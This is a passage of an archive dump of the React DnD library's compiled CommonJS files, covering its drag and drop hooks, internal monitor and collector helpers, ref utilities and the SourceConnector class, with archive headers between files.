this.isDisposed = true; var old = this.current; this.current = undefined; if (old) { old.dispose(); } } } }]); return SerialDisposable; }(); exports.SerialDisposable = SerialDisposable;cjs/decorators/interfaces.js000064400000000015151677306070012161 0ustar00"use strict";cjs/utils/isRef.js000064400000001242151677306070010104 0ustar00"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.isRef = isRef; function _typeof(obj) { "@babel/helpers - typeof"; if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } function isRef(obj) { return (// eslint-disable-next-line no-prototype-builtins obj !== null && _typeof(obj) === 'object' && Object.prototype.hasOwnProperty.call(obj, 'current') ); }cjs/utils/cloneWithRef.js000064400000002045151677306070011427 0ustar00"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.cloneWithRef = cloneWithRef; var _react = require("react"); var _invariant = require("@react-dnd/invariant"); function setRef(ref, node) { if (typeof ref === 'function') { ref(node); } else { ref.current = node; } } function cloneWithRef(element, newRef) { var previousRef = element.ref; (0, _invariant.invariant)(typeof previousRef !== 'string', 'Cannot connect React DnD to an element with an existing string ref. ' + 'Please convert it to use a callback ref instead, or wrap it into a <span> or <div>. ' + 'Read more: https://facebook.github.io/react/docs/more-about-refs.html#the-ref-callback-attribute'); if (!previousRef) { // When there is no ref on the element, use the new ref directly return (0, _react.cloneElement)(element, { ref: newRef }); } else { return (0, _react.cloneElement)(element, { ref: function ref(node) { setRef(previousRef, node); setRef(newRef, node); } }); } }cjs/utils/isValidType.js000064400000001306151677306070011272 0ustar00"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.isValidType = isValidType; function _typeof(obj) { "@babel/helpers - typeof"; if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } function isValidType(type, allowArray) { return typeof type === 'string' || _typeof(type) === 'symbol' || !!allowArray && Array.isArray(type) && type.every(function (t) { return isValidType(t, false); }); }cjs/interfaces/hooksApi.js000064400000000015151677306070011571 0ustar00"use strict";cjs/interfaces/monitors.js000064400000000015151677306070011666 0ustar00"use strict";cjs/interfaces/index.js000064400000002257151677306070011135 0ustar00"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); var _monitors = require("./monitors"); Object.keys(_monitors).forEach(function (key) { if (key === "default" || key === "__esModule") return; Object.defineProperty(exports, key, { enumerable: true, get: function get() { return _monitors[key]; } }); }); var _hooksApi = require("./hooksApi"); Object.keys(_hooksApi).forEach(function (key) { if (key === "default" || key === "__esModule") return; Object.defineProperty(exports, key, { enumerable: true, get: function get() { return _hooksApi[key]; } }); }); var _options = require("./options"); Object.keys(_options).forEach(function (key) { if (key === "default" || key === "__esModule") return; Object.defineProperty(exports, key, { enumerable: true, get: function get() { return _options[key]; } }); }); var _connectors = require("./connectors"); Object.keys(_connectors).forEach(function (key) { if (key === "default" || key === "__esModule") return; Object.defineProperty(exports, key, { enumerable: true, get: function get() { return _connectors[key]; } }); });cjs/interfaces/connectors.js000064400000000015151677306070012171 0ustar00"use strict";cjs/interfaces/options.js000064400000000015151677306070011507 0ustar00"use strict";cjs/hooks/useDrop.js000064400000005603151677306070010445 0ustar00"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.useDrop = useDrop; var _react = require("react"); var _invariant = require("@react-dnd/invariant"); var _useMonitorOutput = require("./internal/useMonitorOutput"); var _useIsomorphicLayoutEffect = require("./internal/useIsomorphicLayoutEffect"); var _drop = require("./internal/drop"); function _slicedToArray(arr, i) { return _arrayWithHoles(arr) || _iterableToArrayLimit(arr, i) || _unsupportedIterableToArray(arr, i) || _nonIterableRest(); } function _nonIterableRest() { throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method."); } function _unsupportedIterableToArray(o, minLen) { if (!o) return; if (typeof o === "string") return _arrayLikeToArray(o, minLen); var n = Object.prototype.toString.call(o).slice(8, -1); if (n === "Object" && o.constructor) n = o.constructor.name; if (n === "Map" || n === "Set") return Array.from(o); if (n === "Arguments" || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)) return _arrayLikeToArray(o, minLen); } function _arrayLikeToArray(arr, len) { if (len == null || len > arr.length) len = arr.length; for (var i = 0, arr2 = new Array(len); i < len; i++) { arr2[i] = arr[i]; } return arr2; } function _iterableToArrayLimit(arr, i) { if (typeof Symbol === "undefined" || !(Symbol.iterator in Object(arr))) return; var _arr = []; var _n = true; var _d = false; var _e = undefined; try { for (var _i = arr[Symbol.iterator](), _s; !(_n = (_s = _i.next()).done); _n = true) { _arr.push(_s.value); if (i && _arr.length === i) break; } } catch (err) { _d = true; _e = err; } finally { try { if (!_n && _i["return"] != null) _i["return"](); } finally { if (_d) throw _e; } } return _arr; } function _arrayWithHoles(arr) { if (Array.isArray(arr)) return arr; } /** * useDropTarget Hook * @param spec The drop target specification */ function useDrop(spec) { var specRef = (0, _react.useRef)(spec); specRef.current = spec; (0, _invariant.invariant)(spec.accept != null, 'accept must be defined'); var _useDropTargetMonitor = (0, _drop.useDropTargetMonitor)(), _useDropTargetMonitor2 = _slicedToArray(_useDropTargetMonitor, 2), monitor = _useDropTargetMonitor2[0], connector = _useDropTargetMonitor2[1]; (0, _drop.useDropHandler)(specRef, monitor, connector); var result = (0, _useMonitorOutput.useMonitorOutput)(monitor, specRef.current.collect || function () { return {}; }, function () { return connector.reconnect(); }); var connectDropTarget = (0, _react.useMemo)(function () { return connector.hooks.dropTarget(); }, [connector]); (0, _useIsomorphicLayoutEffect.useIsomorphicLayoutEffect)(function () { connector.dropTargetOptions = spec.options || null; connector.reconnect(); }, [spec.options]); return [result, connectDropTarget]; }cjs/hooks/internal/drag.js000064400000011202151677306070011545 0ustar00"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.useDragSourceMonitor = useDragSourceMonitor; exports.useDragHandler = useDragHandler; var _react = require("react"); var _invariant = require("@react-dnd/invariant"); var _registration = require("../../common/registration"); var _useDragDropManager = require("../useDragDropManager"); var _DragSourceMonitorImpl = require("../../common/DragSourceMonitorImpl"); var _SourceConnector = require("../../common/SourceConnector"); var _useIsomorphicLayoutEffect = require("./useIsomorphicLayoutEffect"); function _slicedToArray(arr, i) { return _arrayWithHoles(arr) || _iterableToArrayLimit(arr, i) || _unsupportedIterableToArray(arr, i) || _nonIterableRest(); } function _nonIterableRest() { throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method."); } function _unsupportedIterableToArray(o, minLen) { if (!o) return; if (typeof o === "string") return _arrayLikeToArray(o, minLen); var n = Object.prototype.toString.call(o).slice(8, -1); if (n === "Object" && o.constructor) n = o.constructor.name; if (n === "Map" || n === "Set") return Array.from(o); if (n === "Arguments" || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)) return _arrayLikeToArray(o, minLen); } function _arrayLikeToArray(arr, len) { if (len == null || len > arr.length) len = arr.length; for (var i = 0, arr2 = new Array(len); i < len; i++) { arr2[i] = arr[i]; } return arr2; } function _iterableToArrayLimit(arr, i) { if (typeof Symbol === "undefined" || !(Symbol.iterator in Object(arr))) return; var _arr = []; var _n = true; var _d = false; var _e = undefined; try { for (var _i = arr[Symbol.iterator](), _s; !(_n = (_s = _i.next()).done); _n = true) { _arr.push(_s.value); if (i && _arr.length === i) break; } } catch (err) { _d = true; _e = err; } finally { try { if (!_n && _i["return"] != null) _i["return"](); } finally { if (_d) throw _e; } } return _arr; } function _arrayWithHoles(arr) { if (Array.isArray(arr)) return arr; } function _typeof(obj) { "@babel/helpers - typeof"; if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } function useDragSourceMonitor() { var manager = (0, _useDragDropManager.useDragDropManager)(); var monitor = (0, _react.useMemo)(function () { return new _DragSourceMonitorImpl.DragSourceMonitorImpl(manager); }, [manager]); var connector = (0, _react.useMemo)(function () { return new _SourceConnector.SourceConnector(manager.getBackend()); }, [manager]); return [monitor, connector]; } function useDragHandler(spec, monitor, connector) { var manager = (0, _useDragDropManager.useDragDropManager)(); var handler = (0, _react.useMemo)(function () { return { beginDrag: function beginDrag() { var _spec$current = spec.current, begin = _spec$current.begin, item = _spec$current.item; if (begin) { var beginResult = begin(monitor); (0, _invariant.invariant)(beginResult == null || _typeof(beginResult) === 'object', 'dragSpec.begin() must either return an object, undefined, or null'); return beginResult || item || {}; } return item || {}; }, canDrag: function canDrag() { if (typeof spec.current.canDrag === 'boolean') { return spec.current.canDrag; } else if (typeof spec.current.canDrag === 'function') { return spec.current.canDrag(monitor); } else { return true; } }, isDragging: function isDragging(globalMonitor, target) { var isDragging = spec.current.isDragging; return isDragging ? isDragging(monitor) : target === globalMonitor.getSourceId(); }, endDrag: function endDrag() { var end = spec.current.end; if (end) { end(monitor.getItem(), monitor); } connector.reconnect(); } }; }, []); (0, _useIsomorphicLayoutEffect.useIsomorphicLayoutEffect)(function registerHandler() { var _registerSource = (0, _registration.registerSource)(spec.current.item.type, handler, manager), _registerSource2 = _slicedToArray(_registerSource, 2), handlerId = _registerSource2[0], unregister = _registerSource2[1]; monitor.receiveHandlerId(handlerId); connector.receiveHandlerId(handlerId); return unregister; }, []); }cjs/hooks/internal/useIsomorphicLayoutEffect.js000064400000000576151677306070016010 0ustar00"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.useIsomorphicLayoutEffect = void 0; var _react = require("react"); // suppress the useLayoutEffect warning on server side. var useIsomorphicLayoutEffect = typeof window !== 'undefined' ? _react.useLayoutEffect : _react.useEffect; exports.useIsomorphicLayoutEffect = useIsomorphicLayoutEffect;cjs/hooks/internal/useMonitorOutput.js000064400000004553151677306070014230 0ustar00"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.useMonitorOutput = useMonitorOutput; var _useIsomorphicLayoutEffect = require("./useIsomorphicLayoutEffect"); var _useCollector3 = require("./useCollector"); function _slicedToArray(arr, i) { return _arrayWithHoles(arr) || _iterableToArrayLimit(arr, i) || _unsupportedIterableToArray(arr, i) || _nonIterableRest(); } function _nonIterableRest() { throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method."); } function _unsupportedIterableToArray(o, minLen) { if (!o) return; if (typeof o === "string") return _arrayLikeToArray(o, minLen); var n = Object.prototype.toString.call(o).slice(8, -1); if (n === "Object" && o.constructor) n = o.constructor.name; if (n === "Map" || n === "Set") return Array.from(o); if (n === "Arguments" || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)) return _arrayLikeToArray(o, minLen); } function _arrayLikeToArray(arr, len) { if (len == null || len > arr.length) len = arr.length; for (var i = 0, arr2 = new Array(len); i < len; i++) { arr2[i] = arr[i]; } return arr2; } function _iterableToArrayLimit(arr, i) { if (typeof Symbol === "undefined" || !(Symbol.iterator in Object(arr))) return; var _arr = []; var _n = true; var _d = false; var _e = undefined; try { for (var _i = arr[Symbol.iterator](), _s; !(_n = (_s = _i.next()).done); _n = true) { _arr.push(_s.value); if (i && _arr.length === i) break; } } catch (err) { _d = true; _e = err; } finally { try { if (!_n && _i["return"] != null) _i["return"](); } finally { if (_d) throw _e; } } return _arr; } function _arrayWithHoles(arr) { if (Array.isArray(arr)) return arr; } function useMonitorOutput(monitor, collect, onCollect) { var _useCollector = (0, _useCollector3.useCollector)(monitor, collect, onCollect), _useCollector2 = _slicedToArray(_useCollector, 2), collected = _useCollector2[0], updateCollected = _useCollector2[1]; (0, _useIsomorphicLayoutEffect.useIsomorphicLayoutEffect)(function subscribeToMonitorStateChange() { var handlerId = monitor.getHandlerId(); if (handlerId == null) { return undefined; } return monitor.subscribeToStateChange(updateCollected, { handlerIds: [handlerId] }); }, [monitor, updateCollected]); return collected; }cjs/hooks/internal/drop.js000064400000007043151677306070011604 0ustar00"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.useDropTargetMonitor = useDropTargetMonitor; exports.useDropHandler = useDropHandler; var _react = require("react"); var _registration = require("../../common/registration"); var _useDragDropManager = require("../useDragDropManager"); var _TargetConnector = require("../../common/TargetConnector"); var _DropTargetMonitorImpl = require("../../common/DropTargetMonitorImpl"); var _useIsomorphicLayoutEffect = require("./useIsomorphicLayoutEffect"); function _slicedToArray(arr, i) { return _arrayWithHoles(arr) || _iterableToArrayLimit(arr, i) || _unsupportedIterableToArray(arr, i) || _nonIterableRest(); } function _nonIterableRest() { throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method."); } function _unsupportedIterableToArray(o, minLen) { if (!o) return; if (typeof o === "string") return _arrayLikeToArray(o, minLen); var n = Object.prototype.toString.call(o).slice(8, -1); if (n === "Object" && o.constructor) n = o.constructor.name; if (n === "Map" || n === "Set") return Array.from(o); if (n === "Arguments" || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)) return _arrayLikeToArray(o, minLen); } function _arrayLikeToArray(arr, len) { if (len == null || len > arr.length) len = arr.length; for (var i = 0, arr2 = new Array(len); i < len; i++) { arr2[i] = arr[i]; } return arr2; } function _iterableToArrayLimit(arr, i) { if (typeof Symbol === "undefined" || !(Symbol.iterator in Object(arr))) return; var _arr = []; var _n = true; var _d = false; var _e = undefined; try { for (var _i = arr[Symbol.iterator](), _s; !(_n = (_s = _i.next()).done); _n = true) { _arr.push(_s.value); if (i && _arr.length === i) break; } } catch (err) { _d = true; _e = err; } finally { try { if (!_n && _i["return"] != null) _i["return"](); } finally { if (_d) throw _e; } } return _arr; } function _arrayWithHoles(arr) { if (Array.isArray(arr)) return arr; } function useDropTargetMonitor() { var manager = (0, _useDragDropManager.useDragDropManager)(); var monitor = (0, _react.useMemo)(function () { return new _DropTargetMonitorImpl.DropTargetMonitorImpl(manager); }, [manager]); var connector = (0, _react.useMemo)(function () { return new _TargetConnector.TargetConnector(manager.getBackend()); }, [manager]); return [monitor, connector]; } function useDropHandler(spec, monitor, connector) { var manager = (0, _useDragDropManager.useDragDropManager)(); var handler = (0, _react.useMemo)(function () { return { canDrop: function canDrop() { var canDrop = spec.current.canDrop; return canDrop ? canDrop(monitor.getItem(), monitor) : true; }, hover: function hover() { var hover = spec.current.hover; if (hover) { hover(monitor.getItem(), monitor); } }, drop: function drop() { var drop = spec.current.drop; if (drop) { return drop(monitor.getItem(), monitor); } } }; }, [monitor]); (0, _useIsomorphicLayoutEffect.useIsomorphicLayoutEffect)(function registerHandler() { var _registerTarget = (0, _registration.registerTarget)(spec.current.accept, handler, manager), _registerTarget2 = _slicedToArray(_registerTarget, 2), handlerId = _registerTarget2[0], unregister = _registerTarget2[1]; monitor.receiveHandlerId(handlerId); connector.receiveHandlerId(handlerId); return unregister; }, [monitor, connector]); }cjs/hooks/internal/useCollector.js000064400000005271151677306070013304 0ustar00"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.useCollector = useCollector; var _shallowequal = require("@react-dnd/shallowequal"); var _react = require("react"); var _useIsomorphicLayoutEffect = require("./useIsomorphicLayoutEffect"); function _slicedToArray(arr, i) { return _arrayWithHoles(arr) || _iterableToArrayLimit(arr, i) || _unsupportedIterableToArray(arr, i) || _nonIterableRest(); } function _nonIterableRest() { throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method."); } function _unsupportedIterableToArray(o, minLen) { if (!o) return; if (typeof o === "string") return _arrayLikeToArray(o, minLen); var n = Object.prototype.toString.call(o).slice(8, -1); if (n === "Object" && o.constructor) n = o.constructor.name; if (n === "Map" || n === "Set") return Array.from(o); if (n === "Arguments" || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)) return _arrayLikeToArray(o, minLen); } function _arrayLikeToArray(arr, len) { if (len == null || len > arr.length) len = arr.length; for (var i = 0, arr2 = new Array(len); i < len; i++) { arr2[i] = arr[i]; } return arr2; } function _iterableToArrayLimit(arr, i) { if (typeof Symbol === "undefined" || !(Symbol.iterator in Object(arr))) return; var _arr = []; var _n = true; var _d = false; var _e = undefined; try { for (var _i = arr[Symbol.iterator](), _s; !(_n = (_s = _i.next()).done); _n = true) { _arr.push(_s.value); if (i && _arr.length === i) break; } } catch (err) { _d = true; _e = err; } finally { try { if (!_n && _i["return"] != null) _i["return"](); } finally { if (_d) throw _e; } } return _arr; } function _arrayWithHoles(arr) { if (Array.isArray(arr)) return arr; } /** * * @param monitor The monitor to collect state from * @param collect The collecting function * @param onUpdate A method to invoke when updates occur */ function useCollector(monitor, collect, onUpdate) { var _useState = (0, _react.useState)(function () { return collect(monitor); }), _useState2 = _slicedToArray(_useState, 2), collected = _useState2[0], setCollected = _useState2[1]; var updateCollected = (0, _react.useCallback)(function () { var nextValue = collect(monitor); if (!(0, _shallowequal.shallowEqual)(collected, nextValue)) { setCollected(nextValue); if (onUpdate) { onUpdate(); } } }, [collected, monitor, onUpdate]); // update the collected properties after the first render // and the components are attached to dnd-core (0, _useIsomorphicLayoutEffect.useIsomorphicLayoutEffect)(updateCollected, []); return [collected, updateCollected]; }cjs/hooks/index.js000064400000002333151677306070010130 0ustar00"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); var _useDrag = require("./useDrag"); Object.keys(_useDrag).forEach(function (key) { if (key === "default" || key === "__esModule") return; Object.defineProperty(exports, key, { enumerable: true, get: function get() { return _useDrag[key]; } }); }); var _useDrop = require("./useDrop"); Object.keys(_useDrop).forEach(function (key) { if (key === "default" || key === "__esModule") return; Object.defineProperty(exports, key, { enumerable: true, get: function get() { return _useDrop[key]; } }); }); var _useDragLayer = require("./useDragLayer"); Object.keys(_useDragLayer).forEach(function (key) { if (key === "default" || key === "__esModule") return; Object.defineProperty(exports, key, { enumerable: true, get: function get() { return _useDragLayer[key]; } }); }); var _useDragDropManager = require("./useDragDropManager"); Object.keys(_useDragDropManager).forEach(function (key) { if (key === "default" || key === "__esModule") return; Object.defineProperty(exports, key, { enumerable: true, get: function get() { return _useDragDropManager[key]; } }); });cjs/hooks/useDrag.js000064400000006544151677306070010423 0ustar00"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.useDrag = useDrag; var _react = require("react"); var _invariant = require("@react-dnd/invariant"); var _useMonitorOutput = require("./internal/useMonitorOutput"); var _useIsomorphicLayoutEffect = require("./internal/useIsomorphicLayoutEffect"); var _drag = require("./internal/drag"); function _slicedToArray(arr, i) { return _arrayWithHoles(arr) || _iterableToArrayLimit(arr, i) || _unsupportedIterableToArray(arr, i) || _nonIterableRest(); } function _nonIterableRest() { throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method."); } function _unsupportedIterableToArray(o, minLen) { if (!o) return; if (typeof o === "string") return _arrayLikeToArray(o, minLen); var n = Object.prototype.toString.call(o).slice(8, -1); if (n === "Object" && o.constructor) n = o.constructor.name; if (n === "Map" || n === "Set") return Array.from(o); if (n === "Arguments" || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)) return _arrayLikeToArray(o, minLen); } function _arrayLikeToArray(arr, len) { if (len == null || len > arr.length) len = arr.length; for (var i = 0, arr2 = new Array(len); i < len; i++) { arr2[i] = arr[i]; } return arr2; } function _iterableToArrayLimit(arr, i) { if (typeof Symbol === "undefined" || !(Symbol.iterator in Object(arr))) return; var _arr = []; var _n = true; var _d = false; var _e = undefined; try { for (var _i = arr[Symbol.iterator](), _s; !(_n = (_s = _i.next()).done); _n = true) { _arr.push(_s.value); if (i && _arr.length === i) break; } } catch (err) { _d = true; _e = err; } finally { try { if (!_n && _i["return"] != null) _i["return"](); } finally { if (_d) throw _e; } } return _arr; } function _arrayWithHoles(arr) { if (Array.isArray(arr)) return arr; } /** * useDragSource hook * @param sourceSpec The drag source specification * */ function useDrag(spec) { var specRef = (0, _react.useRef)(spec); specRef.current = spec; // TODO: wire options into createSourceConnector (0, _invariant.invariant)(spec.item != null, 'item must be defined'); (0, _invariant.invariant)(spec.item.type != null, 'item type must be defined'); var _useDragSourceMonitor = (0, _drag.useDragSourceMonitor)(), _useDragSourceMonitor2 = _slicedToArray(_useDragSourceMonitor, 2), monitor = _useDragSourceMonitor2[0], connector = _useDragSourceMonitor2[1]; (0, _drag.useDragHandler)(specRef, monitor, connector); var result = (0, _useMonitorOutput.useMonitorOutput)(monitor, specRef.current.collect || function () { return {}; }, function () { return connector.reconnect(); }); var connectDragSource = (0, _react.useMemo)(function () { return connector.hooks.dragSource(); }, [connector]); var connectDragPreview = (0, _react.useMemo)(function () { return connector.hooks.dragPreview(); }, [connector]); (0, _useIsomorphicLayoutEffect.useIsomorphicLayoutEffect)(function () { connector.dragSourceOptions = specRef.current.options || null; connector.reconnect(); }, [connector]); (0, _useIsomorphicLayoutEffect.useIsomorphicLayoutEffect)(function () { connector.dragPreviewOptions = specRef.current.previewOptions || null; connector.reconnect(); }, [connector]); return [result, connectDragSource, connectDragPreview]; }cjs/hooks/useDragLayer.js000064400000004625151677306070011416 0ustar00"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.useDragLayer = useDragLayer; var _react = require("react"); var _useDragDropManager = require("./useDragDropManager"); var _useCollector3 = require("./internal/useCollector"); function _slicedToArray(arr, i) { return _arrayWithHoles(arr) || _iterableToArrayLimit(arr, i) || _unsupportedIterableToArray(arr, i) || _nonIterableRest(); } function _nonIterableRest() { throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method."); } function _unsupportedIterableToArray(o, minLen) { if (!o) return; if (typeof o === "string") return _arrayLikeToArray(o, minLen); var n = Object.prototype.toString.call(o).slice(8, -1); if (n === "Object" && o.constructor) n = o.constructor.name; if (n === "Map" || n === "Set") return Array.from(o); if (n === "Arguments" || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)) return _arrayLikeToArray(o, minLen); } function _arrayLikeToArray(arr, len) { if (len == null || len > arr.length) len = arr.length; for (var i = 0, arr2 = new Array(len); i < len; i++) { arr2[i] = arr[i]; } return arr2; } function _iterableToArrayLimit(arr, i) { if (typeof Symbol === "undefined" || !(Symbol.iterator in Object(arr))) return; var _arr = []; var _n = true; var _d = false; var _e = undefined; try { for (var _i = arr[Symbol.iterator](), _s; !(_n = (_s = _i.next()).done); _n = true) { _arr.push(_s.value); if (i && _arr.length === i) break; } } catch (err) { _d = true; _e = err; } finally { try { if (!_n && _i["return"] != null) _i["return"](); } finally { if (_d) throw _e; } } return _arr; } function _arrayWithHoles(arr) { if (Array.isArray(arr)) return arr; } /** * useDragLayer Hook * @param collector The property collector */ function useDragLayer(collect) { var dragDropManager = (0, _useDragDropManager.useDragDropManager)(); var monitor = dragDropManager.getMonitor(); var _useCollector = (0, _useCollector3.useCollector)(monitor, collect), _useCollector2 = _slicedToArray(_useCollector, 2), collected = _useCollector2[0], updateCollected = _useCollector2[1]; (0, _react.useEffect)(function () { return monitor.subscribeToOffsetChange(updateCollected); }); (0, _react.useEffect)(function () { return monitor.subscribeToStateChange(updateCollected); }); return collected; }cjs/hooks/useDragDropManager.js000064400000001121151677306070012525 0ustar00"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.useDragDropManager = useDragDropManager; var _react = require("react"); var _invariant = require("@react-dnd/invariant"); var _DndContext = require("../common/DndContext"); /** * A hook to retrieve the DragDropManager from Context */ function useDragDropManager() { var _useContext = (0, _react.useContext)(_DndContext.DndContext), dragDropManager = _useContext.dragDropManager; (0, _invariant.invariant)(dragDropManager != null, 'Expected drag drop context'); return dragDropManager; }cjs/common/SourceConnector.js000064400000016017151677306070012305 0ustar00"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.SourceConnector = void 0; var _wrapConnectorHooks = require("./wrapConnectorHooks"); var _isRef = require("../utils/isRef"); var _shallowequal = require("@react-dnd/shallowequal"); function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } var SourceConnector = /*#__PURE__*/function () { function SourceConnector(backend) { var _this = this; _classCallCheck(this, SourceConnector); this.hooks = (0, _wrapConnectorHooks.wrapConnectorHooks)({ dragSource: function dragSource(node, options) { _this.clearDragSource(); _this.dragSourceOptions = options || null; if ((0, _isRef.isRef)(node)) { _this.dragSourceRef = node; } else { _this.dragSourceNode = node; } _this.reconnectDragSource(); }, dragPreview: function dragPreview(node, options) { _this.clearDragPreview(); _this.dragPreviewOptions = options || null; if ((0, _isRef.isRef)(node)) { _this.dragPreviewRef = node; } else { _this.dragPreviewNode = node; } _this.reconnectDragPreview(); } }); this.handlerId = null; // The drop target may either be attached via ref or connect function this.dragSourceRef = null; this.dragSourceOptionsInternal = null; // The drag preview may either be attached via ref or connect function this.dragPreviewRef = null; this.dragPreviewOptionsInternal = null; this.lastConnectedHandlerId = null; this.lastConnectedDragSource = null; this.lastConnectedDragSourceOptions = null; this.lastConnectedDragPreview = null; this.lastConnectedDragPreviewOptions = null; this.backend = backend; } _createClass(SourceConnector, [{ key: "receiveHandlerId", value: function receiveHandlerId(newHandlerId) { if (this.handlerId === newHandlerId) { return; } this.handlerId = newHandlerId; this.reconnect(); } }, { key: "reconnect", value: function reconnect() { this.reconnectDragSource(); this.reconnectDragPreview(); } }, { key: "reconnectDragSource", value: function reconnectDragSource() { var dragSource = this.dragSource; // if nothing has changed then don't resubscribe var didChange = this.didHandlerIdChange() || this.didConnectedDragSourceChange() || this.didDragSourceOptionsChange(); if (didChange) { this.disconnectDragSource(); } if (!this.handlerId) { return; } if (!dragSource) { this.lastConnectedDragSource = dragSource; return; } if (didChange) { this.lastConnectedHandlerId = this.handlerId; this.lastConnectedDragSource = dragSource; this.lastConnectedDragSourceOptions = this.dragSourceOptions; this.dragSourceUnsubscribe = this.backend.connectDragSource(this.handlerId, dragSource, this.dragSourceOptions); } } }, { key: "reconnectDragPreview", value: function reconnectDragPreview() { var dragPreview = this.dragPreview; // if nothing has changed then don't resubscribe var didChange = this.didHandlerIdChange() || this.didConnectedDragPreviewChange() || this.didDragPreviewOptionsChange(); if (didChange) { this.disconnectDragPreview(); } if (!this.handlerId) { return; } if (!dragPreview) { this.lastConnectedDragPreview = dragPreview; return; } if (didChange) { this.lastConnectedHandlerId = this.handlerId; this.lastConnectedDragPreview = dragPreview; this.lastConnectedDragPreviewOptions = this.dragPreviewOptions; this.dragPreviewUnsubscribe = this.backend.connectDragPreview(this.handlerId, dragPreview, this.dragPreviewOptions); } } }, { key: "didHandlerIdChange", value: function didHandlerIdChange() { return this.lastConnectedHandlerId !== this.handlerId; } }, { key: "didConnectedDragSourceChange", value: function didConnectedDragSourceChange() { return this.lastConnectedDragSource !== this.dragSource; } }, { key: "didConnectedDragPreviewChange", value: function didConnectedDragPreviewChange() { return this.lastConnectedDragPreview !== this.dragPreview; } }, { key: "didDragSourceOptionsChange", value: function didDragSourceOptionsChange() { return !(0, _shallowequal.shallowEqual)(this.lastConnectedDragSourceOptions, this.dragSourceOptions); } }, { key: "didDragPreviewOptionsChange", value: function didDragPreviewOptionsChange() { return !(0, _shallowequal.shallowEqual)(this.lastConnectedDragPreviewOptions, this.dragPreviewOptions); } }, { key: "disconnectDragSource", value: function disconnectDragSource() { if (this.dragSourceUnsubscribe) { this.dragSourceUnsubscribe(); this.dragSourceUnsubscribe = undefined; } } }, { key: "disconnectDragPreview", value: function disconnectDragPreview() { if (this.dragPreviewUnsubscribe) { this.dragPreviewUnsubscribe(); this.dragPreviewUnsubscribe = undefined; this.dragPreviewNode = null; this.dragPreviewRef = null; } } }, { key: "clearDragSource", value: function clearDragSource() { this.dragSourceNode = null; this.dragSourceRef = null; } }, { key: "clearDragPreview", value: function clearDragPreview() { this.dragPreviewNode = null; this.dragPreviewRef = null; } }, { key: "connectTarget", get: function get() { return this.dragSource; } }, { key: "dragSourceOptions", get: function get() { return this.dragSourceOptionsInternal; }, set: function set(options) { this.dragSourceOptionsInternal = options; } }, { key: "dragPreviewOptions", get: function get() { return this.dragPreviewOptionsInternal; }, set: function set(options) { this.dragPreviewOptionsInternal = options; } }, { key: "dragSource", get: function get() { return this.dragSourceNode || this.dragSourceRef && this.dragSourceRef.current; } }, { key: "dragPreview", get: function get() { return this.dragPreviewNode || this.dragPreviewRef && this.dragPreviewRef.current; } }]); return SourceConnector; }(); exports.SourceConnector = SourceConnector;cjs/common/DropTargetMonitorImpl.js000064400000007417151677306070013443 0ustar00"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.DropTargetMonitorImpl = void 0; var _invariant = require("@react-dnd/invariant"); function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = 